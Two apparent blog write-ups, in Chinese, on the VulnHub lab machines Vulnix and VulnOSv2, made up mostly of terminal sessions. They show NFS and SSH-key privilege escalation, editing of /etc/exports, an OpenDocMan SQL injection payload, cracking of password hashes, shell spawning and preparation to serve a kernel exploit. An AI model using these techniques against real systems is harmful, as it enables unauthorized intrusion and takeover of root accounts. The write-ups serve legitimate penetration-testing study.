Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.44.230' (ECDSA) to the list of known hosts.
user@192.168.44.230's password:
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Sat Nov 19 06:18:19 GMT 2022
System load: 0.02 Processes: 90
Usage of /: 90.4% of 773MB Users logged in: 0
Memory usage: 7% IP address for eth0: 192.168.44.230
Swap usage: 0%
=> / is using 90.4% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
user@vulnix:~$
接下來翻翻看有沒有什麼值得提權的。
來看看nfs
└─$ showmount -e 192.168.44.230
Export list for 192.168.44.230:
/home/vulnix *
這代表靶机将vulnix用户的家目录共享,所以我們掛載。
┌──(kali㉿kali)-[~]
└─$ sudo mkdir /mnt/nfs
[sudo] password for kali:
┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs 192.168.44.230:/home/vulnix /mnt/nfs
┌──(kali㉿kali)-[~]
└─$ cd /mnt
┌──(kali㉿kali)-[/mnt]
└─$ cd nfs
cd: permission denied: nfs
┌──(kali㉿kali)-[/mnt]
└─$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Nov 19 03:20 .
drwxr-xr-x 18 root root 4096 Aug 8 06:57 ..
drwxr-x--- 2 nobody nogroup 4096 Sep 2 2012 nfs
要注意,上面的指令只能在虛擬機有用,在wsl2沒有用。可以發現雖然掛載了,但進不去,估计设置了root_squash。
現在可能沒辦法把root_squash改成no_root_squash,但既然掛載的是vulnix的家目錄,那麼在攻擊機創建一個使用者名稱、uid、gid一樣的使用者,再用這使用者的身分登入就好。
那我們要查vulnix的uid跟gid是多少,首先要先用剛剛得到的user帳密ssh登入,再看看/etc/passwd
。
─$ ssh user@192.168.44.230
The authenticity of host '192.168.44.230 (192.168.44.230)' can't be established.
ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.44.230' (ECDSA) to the list of known hosts.
user@192.168.44.230's password:
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Sat Nov 19 16:40:53 GMT 2022
System load: 0.0 Processes: 89
Usage of /: 84.7% of 773MB Users logged in: 0
Memory usage: 9% IP address for eth0: 192.168.44.230
Swap usage: 0%
Graph this data and manage this system at https://landscape.canonical.com/
Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Sat Nov 19 06:18:19 2022 from 192.168.44.1
user@vulnix:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),100(users)
user@vulnix:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
postfix:x:104:110::/var/spool/postfix:/bin/false
dovecot:x:105:112:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:106:65534:Dovecot login user,,,:/nonexistent:/bin/false
landscape:x:107:113::/var/lib/landscape:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
vulnix:x:2008:2008::/home/vulnix:/bin/bash
statd:x:109:65534::/var/lib/nfs:/bin/false
查到uid跟gid都是2008,接下來在攻擊機上創建一樣的帳號:
┌──(kali㉿kali)-[/mnt]
└─$ sudo groupadd -g 2008 vulnix
[sudo] password for kali:
┌──(kali㉿kali)-[/mnt]
└─$ sudo adduser vulnix -uid=2008 -gid=2008
Adding user `vulnix' ...
Adding new user `vulnix' (2008) with group `vulnix' ...
Creating home directory `/home/vulnix' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
No password has been supplied.
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for vulnix
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
me Phone []:
Other []:
Is the information correct? [Y/n] Y
接下來把帳號切換到vulnix,移動到nfs目錄,再查看裡面有什麼檔案:
┌──(kali㉿kali)-[/mnt]
└─$ su - vulnix
Password:
┌──(vulnix㉿kali)-[~]
└─$ cd /mnt/nfs
┌──(vulnix㉿kali)-[/mnt/nfs]
└─$ ls -la
total 20
drwxr-x--- 2 vulnix vulnix 4096 Sep 2 2012 .
drwxr-xr-x 3 root root 4096 Nov 19 03:20 ..
-rw-r--r-- 1 vulnix vulnix 220 Apr 3 2012 .bash_logout
-rw-r--r-- 1 vulnix vulnix 3486 Apr 3 2012 .bashrc
-rw-r--r-- 1 vulnix vulnix 675 Apr 3 2012 .profile
進入後只有一些普通的共通文件,這裡一個神奇操作來了: 在nfs內創建ssh密鑰,這樣就可以從我們創建的假帳號,變成靶機內的vulnix真帳號!
┌──(kali㉿kali)-[/mnt]
└─$ sudo passwd root
[sudo] password for kali:
New password:
Retype new password:
passwd: password updated successfully
┌──(kali㉿kali)-[/mnt]
└─$ su
Password:
┌──(root㉿kali)-[/mnt]
└─# cd
┌──(root㉿kali)-[~]
└─# pwd
/root
┌──(root㉿kali)-[~]
└─# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:XYggyHFUzP276r4usW0H63whDKf4ZJVMWuv1BqTLkJI root@kali
The key's randomart image is:
+---[RSA 3072]----+
| ..+++o. |
| o. .o.+... |
| . *.*. . |
| E = B.+. |
| o XSo.+ |
| . = B o o |
| + + + + |
| +.+ + |
| BO= |
+----[SHA256]-----+
┌──(root㉿kali)-[~]
└─# pwd
/root
┌──(root㉿kali)-[~]
└─# cd /root/.ssh
┌──(root㉿kali)-[~/.ssh]
└─# ls
id_rsa id_rsa.pub
┌──(root㉿kali)-[~/.ssh]
└─# cp id_rsa.pub /mnt
┌──(root㉿kali)-[~/.ssh]
└─# exit
┌──(kali㉿kali)-[/mnt]
└─$ su - vulnix
Password:
┌──(vulnix㉿kali)-[~]
└─$ cd /mnt
┌──(vulnix㉿kali)-[/mnt]
└─$ ls
id_rsa.pub nfs
┌──(vulnix㉿kali)-[/mnt]
└─$ mkdir /mnt/nfs/.ssh
mkdir: cannot create directory ‘/mnt/nfs/.ssh’: File exists
┌──(vulnix㉿kali)-[/mnt]
└─$ cd nfs/.ssh
┌──(vulnix㉿kali)-[/mnt/nfs/.ssh]
└─$ cp /mnt/id_rsa.pub authorized_keys
┌──(vulnix㉿kali)-[/mnt/nfs/.ssh]
└─$ ls
authorized_keys
先創建root帳號的密碼,登入root後下ssh-keygen
指令,生成密鑰id_rsa.pub
。比較要注意的是,要把生成的密鑰先用root權限移到vulnix權限也能存取的地方,再由vulnix移到nfs底下的.ssh。
接下來就是登入:
┌──(kali㉿kali)-[~/.ssh]
└─$ ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i id_rsa vulnix@192.168.44.230
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Sun Nov 20 10:00:26 GMT 2022
System load: 0.0 Processes: 88
Usage of /: 90.2% of 773MB Users logged in: 0
Memory usage: 7% IP address for eth0: 192.168.44.230
Swap usage: 0%
=> / is using 90.2% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
vulnix@vulnix:~$
要特別注意的,就是ssh時的這個參數:
-o 'PubkeyAcceptedKeyTypes +ssh-rsa'
沒有這個參數,根本就無法無密碼登入。However, as with creating the key, we need to tell our SSH client to accept the old ssh-rsa algorithm.
vulnix@vulnix:~$ sudo -ll
Matching 'Defaults' entries for vulnix on this host:
env_reset,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User vulnix may run the following commands on this host:
Sudoers entry:
RunAsUsers: root
Commands:
sudoedit /etc/exports
RunAsUsers: root
Commands:
NOPASSWD: sudoedit /etc/export
可以從sudo -ll
知道可以不須帳密就可編輯export文件
vulnix@vulnix:~$ sudoedit /etc/exports
原本文件只有/home/vulnix
,直接多加root作為可共享目錄
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix *(rw,no_root_squash)
/root *(rw,no_root_squash)
接下來重開靶機後,再次看共用目錄,可以發現有共享root
┌──(kali㉿kali)-[~]
└─$ showmount -e 192.168.44.230
Export list for 192.168.44.230:
/root *
/home/vulnix *
所以創建一個目錄,把root掛載在上面:
┌──(kali㉿kali)-[~]
└─$ sudo mkdir /mnt/vulnroot
┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs 192.168.44.230:/root /mnt/vulnroot
掛載以後就可以故技重施,製作ssh的公鑰私鑰:
┌──(kali㉿kali)-[~/.ssh]
└─$ ssh-keygen -t ssh-rsa
Generating public/private ssh-rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): root_key
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in root_key
Your public key has been saved in root_key.pub
The key fingerprint is:
SHA256:WYQn4+8RkXF9595AiJu2c/0oRvda8tA+YrSnxvHKZAo kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| .o+.o |
| +.=.. o o|
| . +.+ . o.|
| .o= . .|
| So o . o.|
| = ooo.o|
| E =o+*+o|
| o B*.Xo|
| oo=*.+|
+----[SHA256]-----+
創建.ssh
資料夾,把公鑰放在裡面,並改名authorized_keys
。
┌──(kali㉿kali)-[~]
└─$ sudo mkdir /mnt/vulnroot/.ssh
┌──(kali㉿kali)-[~]
└─$ sudo cp .ssh/root_key.pub /mnt/vulnroot/.ssh/authorized_keys
接下來就可以不用帳密登入root帳號,完成提權。
┌──(kali㉿kali)-[~]
└─$ cd .ssh
┌──(kali㉿kali)-[~/.ssh]
└─$ ls -al
total 32
drwx------ 2 kali kali 4096 Nov 20 05:40 .
drwxr-xr-x 22 kali kali 4096 Nov 20 05:59 ..
-rw------- 1 kali kali 2590 Nov 20 03:13 id_rsa
-rw-r--r-- 1 kali kali 222 Nov 19 20:33 known_hosts
-rw------- 1 kali kali 2590 Nov 20 05:40 root_key
-rw-r--r-- 1 kali kali 563 Nov 20 05:40 root_key.pub
-rw------- 1 kali kali 2590 Nov 20 04:55 y
-rw-r--r-- 1 kali kali 563 Nov 20 04:55 y.pub
┌──(kali㉿kali)-[~/.ssh]
└─$ sudo ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i root_key root@192.168.44.230
[sudo] password for kali:
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Sun Nov 20 11:02:05 GMT 2022
System load: 0.02 Processes: 93
Usage of /: 90.2% of 773MB Users logged in: 0
Memory usage: 7% IP address for eth0: 192.168.44.230
Swap usage: 0%
=> / is using 90.2% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Sun Nov 20 10:43:21 2022 from 192.168.44.129
root@vulnix:~# ls -al
total 32
drwx------ 4 root root 4096 Nov 20 10:36 .
drwxr-xr-x 22 root root 4096 Sep 2 2012 ..
-rw------- 1 root root 0 Sep 2 2012 .bash_history
-rw-r--r-- 1 root root 3106 Apr 19 2012 .bashrc
drwx------ 2 root root 4096 Sep 2 2012 .cache
-rw-r--r-- 1 root root 140 Apr 19 2012 .profile
drwxr-xr-x 2 root root 4096 Nov 20 10:42 .ssh
-r-------- 1 root root 33 Sep 2 2012 trophy.txt
-rw------- 1 root root 710 Sep 2 2012 .viminfo
root@vulnix:~# cat trophy.txt
cc614640424f5bd60ce5d5264899c3be
有一個叫dirty cow的弱點應該可以用:
└─$ searchsploit 3.9
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
...一大堆
Linux Kernel 2.2.12/2.2.14/2.3.99 (RedHat 6.x) - Socket Denial of Service | linux/dos/19818.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privi | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escal | linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access | linux/local/40838.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Es | linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access M | linux/local/40611.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
Linux modutils 2.3.9 - 'modprobe' Arbitrary Command Execution | linux/local/20402.sh
...一大堆
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
VulnHub-HACKLAB: VULNIX-靶机渗透学习
Vulnix Walkthrough (OSCP Prep)
GitHub - vshaliii/Hacklab-Vulnix: CTF machine Writeup
Day 23 Password Attacks - 密碼攻擊 (hydra, pw-inspector) - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天
]]>┌──(kali㉿kali)-[~]
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.18.177 netmask 255.255.255.0 broadcast 192.168.18.255
inet6 fe80::bf14:b276:6eec:61fa prefixlen 64 scopeid 0x20<link>
ether 08:00:27:c7:69:7d txqueuelen 1000 (Ethernet)
RX packets 32 bytes 14219 (13.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 36 bytes 11636 (11.3 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4 bytes 240 (240.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(kali㉿kali)-[~]
└─$ nmap -sP 192.168.18.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-07 06:28 EST
Nmap scan report for 192.168.18.1
Host is up (0.0069s latency).
Nmap scan report for 192.168.18.21
Host is up (0.010s latency).
Nmap scan report for 192.168.18.176
Host is up (0.0024s latency).
Nmap scan report for 192.168.18.177
Host is up (0.000069s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.49 seconds
掃描開啟port:
└─$ sudo nmap -sS -sV -A -p- 192.168.18.176
[sudo] password for nathan:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-12 16:55 CST
Nmap scan report for 192.168.18.176
Host is up (0.0013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)
| 2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)
| 256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)
|_ 256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: VulnOSv2
|_http-server-header: Apache/2.4.7 (Ubuntu)
6667/tcp open irc ngircd
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=11/12%OT=22%CT=1%CU=42940%PV=Y%DS=2%DC=T%G=Y%TM=636F5F
OS:A2%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=I%II=I%TS=8)OP
OS:S(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST
OS:11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)EC
OS:N(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=8380%RUD=G)IE(R=Y%DFI=N%T=4
OS:0%CD=S)
Network Distance: 2 hops
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 256/tcp)
HOP RTT ADDRESS
1 0.63 ms DESKTOP-NRNV04H.mshome.net (172.23.32.1)
2 2.24 ms 192.168.18.176
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.21 seconds
Segmentation fault
有開80port,先看網頁:
點下面的紫色超連結:
到
到
看到這網頁的思路: sql injection,或是強攻這個CMS框架,它的版本號如上圖紅框。先利用searchsploit找找看:
┌──(nathan㉿DESKTOP-NRNV04H)-[~/target_machine/VulnOSv2]
└─$ searchsploit opendocman
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
OpenDocMan 1.2.5 - 'add.php?last_message' Cross-Site Scripting | php/webapps/33295.txt
OpenDocMan 1.2.5 - 'admin.php?last_message' Cross-Site Scripting | php/webapps/33298.txt
OpenDocMan 1.2.5 - 'category.php' Cross-Site Scripting | php/webapps/33299.txt
OpenDocMan 1.2.5 - 'department.php' Cross-Site Scripting | php/webapps/33300.txt
OpenDocMan 1.2.5 - 'index.php?last_message' Cross-Site Scripting | php/webapps/33297.txt
OpenDocMan 1.2.5 - 'profile.php' Cross-Site Scripting | php/webapps/33301.txt
OpenDocMan 1.2.5 - 'rejects.php' Cross-Site Scripting | php/webapps/33302.txt
OpenDocMan 1.2.5 - 'search.php' Cross-Site Scripting | php/webapps/33303.txt
OpenDocMan 1.2.5 - 'toBePublished.php' Multiple Cross-Site Scripting Vulnerabilities | php/webapps/33296.txt
OpenDocMan 1.2.5 - 'user.php' Cross-Site Scripting | php/webapps/33304.txt
OpenDocMan 1.2.5 - 'view_file.php' Cross-Site Scripting | php/webapps/33305.txt
OpenDocMan 1.2.5 - Cross-Site Scripting / SQL Injection | php/webapps/9903.txt
OpenDocMan 1.2.6.1 - Cross-Site Request Forgery (Password Change) | php/webapps/20709.html
OpenDocMan 1.2.6.5 - Persistent Cross-Site Scripting | php/webapps/25250.txt
OpenDocMan 1.2.7 - Multiple Vulnerabilities | php/webapps/32075.txt
OpenDocMan 1.3.4 - 'search.php where' SQL Injection | php/webapps/46500.txt
OpenDocMan 1.3.4 - Cross-Site Request Forgery | php/webapps/39414.txt
OpenDocMan 1.x - 'out.php' Cross-Site Scripting | php/webapps/31933.txt
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(nathan㉿DESKTOP-NRNV04H)-[~/target_machine/VulnOSv2]
└─$ searchsploit -m 32075
Exploit: OpenDocMan 1.2.7 - Multiple Vulnerabilities
URL: https://www.exploit-db.com/exploits/32075
Path: /usr/share/exploitdb/exploits/php/webapps/32075.txt
File Type: Unicode text, UTF-8 text
Copied to: /home/nathan/target_machine/VulnOSv2/32075.txt
可以看到32075.txt
是針對1.2.7這個版本。來看看裡面的內容:
└─$ cat 32075.txt
Advisory ID: HTB23202
Product: OpenDocMan
Vendor: Free Document Management Software
Vulnerable Version(s): 1.2.7 and probably prior
Tested Version: 1.2.7
Advisory Publication: February 12, 2014 [without technical details]
Vendor Notification: February 12, 2014
Vendor Patch: February 24, 2014
Public Disclosure: March 5, 2014
Vulnerability Type: SQL Injection [CWE-89], Improper Access Control [CWE-284]
CVE References: CVE-2014-1945, CVE-2014-1946
Risk Level: High
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
------------------------------------------------------------------------
-----------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in OpenDocMan, which can be exploited to perform SQL Injection and gain administrative access to the application.
1) SQL Injection in OpenDocMan: CVE-2014-1945
The vulnerability exists due to insufficient validation of "add_value" HTTP GET parameter in "/ajax_udf.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.
The exploitation example below displays version of the MySQL server:
http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v
ersion%28%29,3,4,5,6,7,8,9
2) Improper Access Control in OpenDocMan: CVE-2014-1946
The vulnerability exists due to insufficient validation of allowed action in "/signup.php" script when updating userâ??s profile. A remote authenticated attacker can assign administrative privileges to the current account and gain complete control over the application.
The exploitation example below assigns administrative privileges for the current account:
<form action="http://[host]/signup.php" method="post" name="main">
<input type="hidden" name="updateuser" value="1">
<input type="hidden" name="admin" value="1">
<input type="hidden" name="id" value="[USER_ID]">
<input type="submit" name="login" value="Run">
</form>
------------------------------------------------------------------------
-----------------------
Solution:
Update to OpenDocMan v1.2.7.2
More Information:
http://www.opendocman.com/opendocman-v1-2-7-1-release/
http://www.opendocman.com/opendocman-v1-2-7-2-released/
------------------------------------------------------------------------
-----------------------
References:
[1] High-Tech Bridge Advisory HTB23202 - https://www.htbridge.com/advisory/HTB23202 - Multiple vulnerabilities in OpenDocMan.
[2] OpenDocMan - http://www.opendocman.com/ - Open Source Document Management System written in PHP.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.
------------------------------------------------------------------------
-----------------------
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
可以看到,其實也是利用SQL injection。就照這txt所說的輸入網址:
http://192.168.18.176/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,version(),3,4,5,6,7,8,9
就會出現下圖:
紅圈圈起來就是回顯點。
搞清楚回顯點後,就可以更改sql查詢語句,去查想要的資料,上圖查了使用者名稱,可以再查一查這一些使用者對應的密碼:
查一查下面兩個亂碼是什麼hash生成的:
└─$ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: b78aae356709f8c31118ea613980954b
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
大概是MD5。在這個網站可以查到
b78aae356709f8c31118ea613980954b
是webmin1980
在這個網站可以查到
084e0343a0486ff05530df6c705c8bb4
是guest。
就用webmin的帳號登入:
└─$ ssh webmin@192.168.18.176
The authenticity of host '192.168.18.176 (192.168.18.176)' can't be established.
ED25519 key fingerprint is SHA256:7FO0Y5C+W/hj0ShAjGy33uQvuMRPrSNk82jGy/wxnfY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.18.176' (ED25519) to the list of known hosts.
webmin@192.168.18.176's password:
Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-24-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Sat Nov 12 05:56:47 CET 2022
System load: 0.0 Memory usage: 2% Processes: 63
Usage of /: 5.7% of 29.91GB Swap usage: 0% Users logged in: 0
Graph this data and manage this system at:
https://landscape.canonical.com/
Last login: Wed May 4 10:41:07 2016
$ echo os.system('/bin/bash')
-sh: 1: Syntax error: "(" unexpected
$ python -c 'import pty;pty.spawn("/bin/bash")'
webmin@VulnOSv2:~$
記得使用python -c 'import pty;pty.spawn("/bin/bash")'
來穩定shell。
查詢靶機使用的作業系統核心:
webmin@VulnOSv2:~$ uname -a
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux
尋找弱點:(攻擊機上)
└─$ searchsploit 3.13.0
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privi | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privi | linux/local/37293.txt
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
找到這兩個,其實應該算同一個,一個是攻擊腳本的c原始碼,一個是漏洞介紹的txt,就都複製過來:
┌──(nathan㉿DESKTOP-NRNV04H)-[~/target_machine/VulnOSv2]
└─$ searchsploit -m 37292
Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/37292
Path: /usr/share/exploitdb/exploits/linux/local/37292.c
File Type: C source, ASCII text, with very long lines (466)
Copied to: /home/nathan/target_machine/VulnOSv2/37292.c
┌──(nathan㉿DESKTOP-NRNV04H)-[~/target_machine/VulnOSv2]
└─$ searchsploit -m 37293
Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow)
URL: https://www.exploit-db.com/exploits/37293
Path: /usr/share/exploitdb/exploits/linux/local/37293.txt
File Type: ASCII text
Copied to: /home/nathan/target_machine/VulnOSv2/37293.txt
看了一下txt是本地提權,也就是這個攻擊腳本需在靶機上執行,但沒介紹攻擊腳本要怎麼用,總之先在攻擊機上建簡單web server:
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
